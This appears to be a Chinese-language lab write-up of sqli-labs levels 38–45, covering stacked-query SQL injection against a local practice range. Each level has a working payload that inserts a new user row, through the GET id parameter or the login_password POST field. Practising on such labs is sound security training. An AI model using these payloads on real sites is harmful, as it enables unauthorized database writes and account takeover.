靶场练习-Sqli-labs通关记录(堆注入get与post型)(38-45关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
0x03 堆注入适用范围
简介:oracle 不能使用堆叠注入,当有两条语句在同一行时,直接报错。无效字符。mysql、sqlserver、Postgresql等都可以使用堆注入。插入语句请从菜鸟教程学习。
(38)第三十八关:
38关其实跟最简单的没啥区别,就一条查询语句,只不过为了让你能学习到堆注入,回忆一下,到目前为止,我们已经学了多少种注入了:(报错、延时、联合、堆注入)差不多4种了,每一种都对应了那么多关!
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
去数据库查看一下表,插入数据成功,插入数据成功后知道要做什么了吗,当然是可以用这个账号登录之类的啦!
(39)第三十九关:
相比38关就少了个'逗号而已,应该也是一样的:
?id=1;insert into users(id,username,password) values ('39','less39','world')--+
(40)第四十关:
同理,第40关也是闭合语句不一样:
?id=1');insert into users(id,username,password) values ('40','less40','hahaha')--+
(41)第四十一关:
乍一看是跟39关一样的,不知道有哪里不同:
?id=1;insert into users(id,username,password) values ('41','less41','heiheihei')--+
(42)第四十二关:
在login.php这个文档内存在查询,但是有对用户名进行过滤:
因为仅仅是对username进行了防护,所以可以对password进行堆注入攻击:
login_password=1';insert into users(id,username,password) values ('42','less42','zizizizi')--+
响应OK,查看数据库已经写入数据:
(43)第四十三关:
与42关基本一致,仅仅是闭合语句不一样:
login_password=1');insert into users(id,username,password) values ('43','less43','xixixixi')--+
堆注入成功:
(44)第四十四关:
在login.php这个文档内存在查询,仅仅是对username进行了过滤,然后没有那个报错的页面了:
login_password=1';insert into users(id,username,password) values ('44','less44','ruoruoruoruo')--+
查询数据库,注入成功:
(45)第四十五关:
与43关没啥区别,一样的注入语句:
login_password=1');insert into users(id,username,password) values ('45','less45','wawawawa')--+
插入数据成功: